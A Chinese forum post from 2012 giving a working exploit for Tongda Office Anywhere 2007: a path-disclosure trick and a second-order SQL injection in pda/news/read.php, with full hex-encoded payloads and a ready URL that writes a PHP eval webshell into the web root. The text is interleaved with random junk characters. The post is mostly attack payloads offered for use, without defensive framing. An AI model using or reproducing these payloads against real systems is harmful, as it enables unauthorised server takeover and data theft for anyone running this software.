目前测试通达OA2007版本
8 B& Z0 E1 k2 b6 L- G6 P
! Q6 ~3 {# K. d3 P; Y7 T2 Y7 G
* t7 \ M, ~9 Z) H- POffice Anywhere 2007 网络智能办公系统
( ? I% M# Q8 d 8 L3 h* x2 U7 O. U3 U) a
http://127.0.0.1/pda/news/read.php?P=%cf' 猪点。 暴web目录..; c6 w7 X2 d8 J
6 j" E+ [2 l" U! T6 C 4 _) a% V( P1 g% ?& r& X
这个时候看了下代码，存在注入的那个变量的语句中第3个字段，在该文件下面被另外个select语句调用了，灵光一闪，大概思路是这样的, w# S! s1 q; ]( A! i, ]' p7 ]
, U8 H3 P! G# f3 x1 ]6 Y例如：SELECT * from USER where USER_ID='{$USERNAME}'
0 j3 T5 @/ _5 \. ], Q( o其中有这么段字段声明$PROVIDER = $ROW['PROVIDER'];被下面个语句$query1 = "SELECT * from USER where USER_ID='{$PROVIDER}'";带入查询了
* N. q. G# W) m1 U4 r7 a4 Y+ C
' r! E) S! v) \5 t6 Z( s$ Y. w, e" ~7 O H这个时候我们是不是可以组合起来使用哪？
& \$ O+ _: l$ h/ Q( S. m 0 F1 X' B) @; u- R, m' f$ {2 X
第一条语句开始注入，union select 1,2,3,4,5,6,7,8,9,10...，比如第3个是PROVIDER字段，我们这样
5 {7 ]. `- E8 o% G! Bunion select 1,2,'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#,4,5,6,7,8,9,10
/ q1 F. H7 v% f7 x; ?7 U u5 U ! G! B2 }1 C% s; Z% s0 K
这样'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#这个语句就带入第二条语句去写webshell了
. p; a; n& N( K8 O D 2 _6 c% j1 C* ~, Q+ F3 j/ `% E
那么问题来了，单引号可以吗？当然是不可以的，^_^。。。
" T L* j$ z0 c( P# f$ n9 x + H: u! V' G. a3 O
那么我们用字符串格式带入进行hex编码) _" k. v! V6 B* v* L/ q
8 N: R$ @: @* y& M/ u: T' ]1 J%cf'UNION SELECT 1,2,3,0x27554e494f4e2053454c45435420312c312c312c273c3f706870206576616c282476293b3f3e272c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c3120696e746f2064756d7066696c6527423a2f6d2e7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23: ]3 X8 I( B8 }9 [$ U( T% s
5 |% h+ h6 n6 e) V测试ok，获取oa的webshell6 @3 M6 [" v& v2 h. L. q" _- t
: {* Z4 t( y, _6 H 2 i9 G+ H s* _& K. t- K: T
pda/news/read.php?P=%cf'or%281=1%29%23&NEWS_ID=%cf'UNION SELECT 1,2,3,0x27554E494F4E2053454C45435420312C312C312C273C3F706870206576616C282476293B3F3E272C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C3120696E746F2064756D7066696C6527443A2F4D594F412F776562726F6F742F6D2E7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
: i" c$ h4 u- Z直接getwebshell |
发表于 2012-12-20 08:09:24
收藏
支持
反对